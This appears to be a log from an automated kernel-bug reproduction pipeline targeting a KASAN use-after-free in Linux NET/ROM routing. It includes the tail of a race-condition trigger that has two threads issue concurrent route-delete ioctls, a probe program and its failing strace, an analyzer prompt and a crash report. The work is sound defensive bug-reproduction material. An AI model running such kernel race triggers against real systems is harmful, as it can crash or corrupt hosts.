    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}
```
NeedProbe: true

gemini-3.1-pro-preview

							input: 10557
							output: 588
							thoughts: 1131
						

**Generating a Probe Program for KASAN Slab-Use-After-Free in nr_neigh_put**

Okay, let's break this down. We're tasked with reproducing a KASAN slab-use-after-free in `nr_neigh_put`. The bug is in `net/netrom/nr_route.c`, specifically related to `nr_del_neigh`. The prompt provides some initial context, including what *appears* to be a strategy and even a minimal C reproducer. However, let's be careful not to jump to conclusions, I need to interpret this correctly. I need to generate the C reproducer. I should probably read the prompt again.

The key is that the input variable `NeedProbe` is set to `true`. This means I MUST start by generating a probe program. I should have read the full prompt before I started.

Based on the bug description, the probe needs to check if the environment supports the necessary features. Specifically, we need to ensure the following are available:

1.  Opening a PTY and setting the line discipline to `N_AX25` (mkiss).
2.  Creating an `AF_NETROM` socket.
3.  Using `SIOCADDRT` and `SIOCDELRT` ioctls. While this is not explicitly needed for the probe, it is good to keep in mind.

I'm getting the toolkit just in case, but for this probe program, I should keep it simple. The probe program will check for the first two conditions.

Here's the plan: I need to write a simple C program that attempts to create an `AF_NETROM` socket and set the `N_AX25` line discipline on a PTY.  This will confirm the environment has the necessary capabilities.

Wait, the prompt has what looks like a full reproducer. Is this a mistake? It's probably just an example, or a previous iteration. I am generating the probe program.

Okay, let's craft the probe program:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <errno.h>

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

int main() {
    int fd, sfd, netrom_sk;
    int ldisc = N_AX25;

    printf("[*] Probing for AF_NETROM support...\n");
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        printf("[-] Failed to create AF_NETROM socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] AF_NETROM socket created successfully.\n");
    close(netrom_sk);

    printf("[*] Probing for N_AX25 line discipline support...\n");
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) {
        printf("[-] Failed to open pty: %s\n", strerror(errno));
        return 1;
    }
    if (grantpt(fd) < 0 || unlockpt(fd) < 0) {
        printf("[-] Failed to grant/unlock pty: %s\n", strerror(errno));
        return 1;
    }
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) {
        printf("[-] Failed to open slave pty: %s\n", strerror(errno));
        return 1;
    }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set N_AX25 line discipline: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] N_AX25 line discipline set successfully.\n");

    close(sfd);
    close(fd);

    printf("[+] All probes passed.\n");
    return 0;
}
```

Now, I'll use the `set-results` tool to output this program.

map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <errno.h>

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

int main() {
    int fd, sfd, netrom_sk;
    int ldisc = N_AX25;

    printf("[*] Probing for AF_NETROM support...\n");
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        printf("[-] Failed to create AF_NETROM socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] AF_NETROM socket created successfully.\n");
    close(netrom_sk);

    printf("[*] Probing for N_AX25 line discipline support...\n");
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) {
        printf("[-] Failed to open pty: %s\n", strerror(errno));
        return 1;
    }
    if (grantpt(fd) < 0 || unlockpt(fd) < 0) {
        printf("[-] Failed to grant/unlock pty: %s\n", strerror(errno));
        return 1;
    }
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) {
        printf("[-] Failed to open slave pty: %s\n", strerror(errno));
        return 1;
    }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set N_AX25 line discipline: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] N_AX25 line discipline set successfully.\n");

    close(sfd);
    close(fd);

    printf("[+] All probes passed.\n");
    return 0;
}
]

map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <errno.h>

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

int main() {
    int fd, sfd, netrom_sk;
    int ldisc = N_AX25;

    printf("[*] Probing for AF_NETROM support...\n");
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        printf("[-] Failed to create AF_NETROM socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] AF_NETROM socket created successfully.\n");
    close(netrom_sk);

    printf("[*] Probing for N_AX25 line discipline support...\n");
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) {
        printf("[-] Failed to open pty: %s\n", strerror(errno));
        return 1;
    }
    if (grantpt(fd) < 0 || unlockpt(fd) < 0) {
        printf("[-] Failed to grant/unlock pty: %s\n", strerror(errno));
        return 1;
    }
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) {
        printf("[-] Failed to open slave pty: %s\n", strerror(errno));
        return 1;
    }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set N_AX25 line discipline: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] N_AX25 line discipline set successfully.\n");

    close(sfd);
    close(fd);

    printf("[+] All probes passed.\n");
    return 0;
}
]

map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <errno.h>

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

int main() {
    int fd, sfd, netrom_sk;
    int ldisc = N_AX25;

    printf("[*] Probing for AF_NETROM support...\n");
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        printf("[-] Failed to create AF_NETROM socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] AF_NETROM socket created successfully.\n");
    close(netrom_sk);

    printf("[*] Probing for N_AX25 line discipline support...\n");
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) {
        printf("[-] Failed to open pty: %s\n", strerror(errno));
        return 1;
    }
    if (grantpt(fd) < 0 || unlockpt(fd) < 0) {
        printf("[-] Failed to grant/unlock pty: %s\n", strerror(errno));
        return 1;
    }
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) {
        printf("[-] Failed to open slave pty: %s\n", strerror(errno));
        return 1;
    }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set N_AX25 line discipline: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] N_AX25 line discipline set successfully.\n");

    close(sfd);
    close(fd);

    printf("[+] All probes passed.\n");
    return 0;
}
]

map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <errno.h>

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

int main() {
    int fd, sfd, netrom_sk;
    int ldisc = N_AX25;

    printf("[*] Probing for AF_NETROM support...\n");
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        printf("[-] Failed to create AF_NETROM socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] AF_NETROM socket created successfully.\n");
    close(netrom_sk);

    printf("[*] Probing for N_AX25 line discipline support...\n");
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) {
        printf("[-] Failed to open pty: %s\n", strerror(errno));
        return 1;
    }
    if (grantpt(fd) < 0 || unlockpt(fd) < 0) {
        printf("[-] Failed to grant/unlock pty: %s\n", strerror(errno));
        return 1;
    }
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) {
        printf("[-] Failed to open slave pty: %s\n", strerror(errno));
        return 1;
    }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set N_AX25 line discipline: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] N_AX25 line discipline set successfully.\n");

    close(sfd);
    close(fd);

    printf("[+] All probes passed.\n");
    return 0;
}
]

map[CompilerError:]

map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:Warning: Permanently added '[localhost]:17578' (ED25519) to the list of known hosts.
[*] Probing for AF_NETROM support...
[+] AF_NETROM socket created successfully.
[*] Probing for N_AX25 line discipline support...
[-] Failed to open slave pty: Bad address
[  141.292438][ T1361] ieee802154 phy0 wpan0: encryption failed: -22
[  141.296501][ T1361] ieee802154 phy1 wpan1: encryption failed: -22
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1285613764

<...>
Warning: Permanently added '[localhost]:22423' (ED25519) to the list of known hosts.
execve("/syz-executor1285613764", ["/syz-executor1285613764"], 0x7ffc4f428420 /* 11 vars */) = 0
brk(NULL)                               = 0x55558e53e000
brk(0x55558e53ed80)                     = 0x55558e53ed80
arch_prctl(ARCH_SET_FS, 0x55558e53e400) = 0
set_tid_address(0x55558e53e6d0)         = 6111
set_robust_list(0x55558e53e6e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1285613764", 4096) = 23
getrandom("\x93\x44\xc8\x26\x41\x7e\x89\x1e", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55558e53ed80
brk(0x55558e55fd80)                     = 0x55558e55fd80
brk(0x55558e560000)                     = 0x55558e560000
mprotect(0x7f24f1298000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
socket(AF_NETROM, SOCK_SEQPACKET, 0)    = 3
close(3)                                = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR|O_NOCTTY) = 3
ioctl(3, TIOCGPTN, [0])                 = 0
ioctl(3, TIOCSPTLCK, [0])               = 0
ioctl(3, TIOCGPTN, [0])                 = 0
openat(AT_FDCWD, 0xfffffffff12a38b0, O_RDWR|O_NOCTTY) = -1 EFAULT (Bad address)
[*] Probing for AF_NETROM support...
[+] AF_NETROM socket created successfully.
[*] Probing for N_AX25 line discipline support...
[-] Failed to open slave pty: Bad address
write(1, "[*] Probing for AF_NETROM support...\n[+] AF_NETROM socket created successfully.\n[*] Probing for N_AX"..., 172) = 172
exit_group(1)                           = ?
+++ exited with 1 +++
[  138.969257][ T1362] ieee802154 phy0 wpan0: encryption failed: -22
[  138.972205][ T1362] ieee802154 phy1 wpan1: encryption failed: -22
 TestError:]

map[TruncatedConsoleOutput:Warning: Permanently added '[localhost]:17578' (ED25519) to the list of known hosts.
[*] Probing for AF_NETROM support...
[+] AF_NETROM socket created successfully.
[*] Probing for N_AX25 line discipline support...
[-] Failed to open slave pty: Bad address
[  141.292438][ T1361] ieee802154 phy0 wpan0: encryption failed: -22
[  141.296501][ T1361] ieee802154 phy1 wpan1: encryption failed: -22
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1285613764

<...>
Warning: Permanently added '[localhost]:22423' (ED25519) to the list of known hosts.
execve("/syz-executor1285613764", ["/syz-executor1285613764"], 0x7ffc4f428420 /* 11 vars */) = 0
brk(NULL)                               = 0x55558e53e000
brk(0x55558e53ed80)                     = 0x55558e53ed80
arch_prctl(ARCH_SET_FS, 0x55558e53e400) = 0
set_tid_address(0x55558e53e6d0)         = 6111
set_robust_list(0x55558e53e6e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1285613764", 4096) = 23
getrandom("\x93\x44\xc8\x26\x41\x7e\x89\x1e", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55558e53ed80
brk(0x55558e55fd80)                     = 0x55558e55fd80
brk(0x55558e560000)                     = 0x55558e560000
mprotect(0x7f24f1298000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
socket(AF_NETROM, SOCK_SEQPACKET, 0)    = 3
close(3)                                = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR|O_NOCTTY) = 3
ioctl(3, TIOCGPTN, [0])                 = 0
ioctl(3, TIOCSPTLCK, [0])               = 0
ioctl(3, TIOCGPTN, [0])                 = 0
openat(AT_FDCWD, 0xfffffffff12a38b0, O_RDWR|O_NOCTTY) = -1 EFAULT (Bad address)
[*] Probing for AF_NETROM support...
[+] AF_NETROM socket created successfully.
[*] Probing for N_AX25 line discipline support...
[-] Failed to open slave pty: Bad address
write(1, "[*] Probing for AF_NETROM support...\n[+] AF_NETROM socket created successfully.\n[*] Probing for N_AX"..., 172) = 172
exit_group(1)                           = ?
+++ exited with 1 +++
[  138.969257][ T1362] ieee802154 phy0 wpan0: encryption failed: -22
[  138.972205][ T1362] ieee802154 phy1 wpan1: encryption failed: -22
]

gemini-3.1-pro-preview

map[Feedback:The environment probe failed due to a bug in the probe's C code. When attempting to open the slave pty, an invalid pointer was passed to `open()`, resulting in an `EFAULT`. The strace shows:
`openat(AT_FDCWD, 0xfffffffff12a38b0, O_RDWR|O_NOCTTY) = -1 EFAULT (Bad address)`

Please fix the probe or reproducer code to correctly obtain the slave pty name (e.g., using `ptsname()` or by reading the pty number via `ioctl(TIOCGPTN)` and formatting it as `/dev/pts/%d`) and pass a valid string pointer to `open()`. AF_NETROM socket creation succeeded, so the subsystem is available. TitleMatches:false]

You are a security researcher with deep Linux kernel background.
Analyze the results of running the reproducer and determine if it was successful.
When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns
(hangs, immediate exits, syscall failures)
to provide detailed feedback on why it failed and how to fix it.

Critical Diagnostic Rule:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

The Strace Output will contain the syscall trace if the run was successful and strace was supported.
Use this trace to identify which syscall failed or behaved unexpectedly.

The input variable 'IsProbe' indicates whether the executed program was a simple environment
probe (true) or a full reproducer candidate (false).
Use this to guide your classification and feedback:

1. If 'IsProbe' is true:
   - If the execution was successful (all environment/subsystem probes passed), provide feedback
     explicitly indicating that the environment is ready and the agent should now proceed to
     generate the full reproducer in the next iteration.
   - If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
     explain what failed so the generator can adjust its environment setups.

2. If 'IsProbe' is false:
   - If a crash was triggered (Reproduced is true):
     - Determine if the triggered crash matches the expected bug.
     - If you conclude they represent the same underlying bug (the same root cause)
       despite different titles, crash signatures, or call traces, set TitleMatches
       to true and provide a detailed, technical, and verbose explanation of the
       equivalence in the 'Feedback' field.
     - If they do not represent the same bug (a completely unrelated crash/collision),
        set TitleMatches to false and explain the collision in 'Feedback'.
     - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
   - If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
     - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
       to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
       and provide feedback on how to improve the reproducer logic to trigger the crash.

If reproduction failed due to environmental issues (e.g., missing permissions, missing devices,
or sandbox restrictions), assume execution might succeed with a different approach or more
robust code (e.g., adding namespace setup or better error handling), and suggest modifications
to the C code.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in nr_neigh_put

==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff888028dc0ebc by task syz.3.4420/22103

CPU: 1 UID: 0 PID: 22103 Comm: syz.3.4420 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/18/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5a8e59c819
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f5a8f3c3028 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f5a8e815fa0 RCX: 00007f5a8e59c819
RDX: 0000200000000740 RSI: 000000000000890c RDI: 000000000000000b
RBP: 00007f5a8e632c91 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5a8e816038 R14: 00007f5a8e815fa0 R15: 00007fff4f4442c8
 </TASK>

Allocated by task 20448:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 22103:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff888028dc0e80
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff888028dc0e80, ffff888028dc0ec0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x28dc0
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fea78c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 36, tgid 36 (kworker/u8:2), ts 8945898703, free_ts 8878260428
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_noprof+0x474/0x760 mm/slub.c:5272
 kmalloc_noprof include/linux/slab.h:954 [inline]
 kzalloc_noprof include/linux/slab.h:1188 [inline]
 lsm_blob_alloc security/security.c:193 [inline]
 lsm_task_alloc security/security.c:245 [inline]
 security_task_alloc+0x4d/0x330 security/security.c:2683
 copy_process+0x16df/0x3cd0 kernel/fork.c:2205
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
page last free pid 849 tgid 849 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0xc2b/0xdb0 mm/page_alloc.c:2978
 vfree+0x25a/0x400 mm/vmalloc.c:3479
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3398
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff888028dc0d80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0e00: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff888028dc0e80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff888028dc0f00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0f80: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
==================================================================

IsProbe: true
Reproduced: false
Console Output: Warning: Permanently added '[localhost]:17578' (ED25519) to the list of known hosts.
[*] Probing for AF_NETROM support...
[+] AF_NETROM socket created successfully.
[*] Probing for N_AX25 line discipline support...
[-] Failed to open slave pty: Bad address
[  141.292438][ T1361] ieee802154 phy0 wpan0: encryption failed: -22
[  141.296501][ T1361] ieee802154 phy1 wpan1: encryption failed: -22

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1285613764

<...>
Warning: Permanently added '[localhost]:22423' (ED25519) to the list of known hosts.
execve("/syz-executor1285613764", ["/syz-executor1285613764"], 0x7ffc4f428420 /* 11 vars */) = 0
brk(NULL)                               = 0x55558e53e000
brk(0x55558e53ed80)                     = 0x55558e53ed80
arch_prctl(ARCH_SET_FS, 0x55558e53e400) = 0
set_tid_address(0x55558e53e6d0)         = 6111
set_robust_list(0x55558e53e6e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1285613764", 4096) = 23
getrandom("\x93\x44\xc8\x26\x41\x7e\x89\x1e", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55558e53ed80
brk(0x55558e55fd80)                     = 0x55558e55fd80
brk(0x55558e560000)                     = 0x55558e560000
mprotect(0x7f24f1298000, 20480, PROT_READ) = 0
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
socket(AF_NETROM, SOCK_SEQPACKET, 0)    = 3
close(3)                                = 0
openat(AT_FDCWD, "/dev/ptmx", O_RDWR|O_NOCTTY) = 3
ioctl(3, TIOCGPTN, [0])                 = 0
ioctl(3, TIOCSPTLCK, [0])               = 0
ioctl(3, TIOCGPTN, [0])                 = 0
openat(AT_FDCWD, 0xfffffffff12a38b0, O_RDWR|O_NOCTTY) = -1 EFAULT (Bad address)
[*] Probing for AF_NETROM support...
[+] AF_NETROM socket created successfully.
[*] Probing for N_AX25 line discipline support...
[-] Failed to open slave pty: Bad address
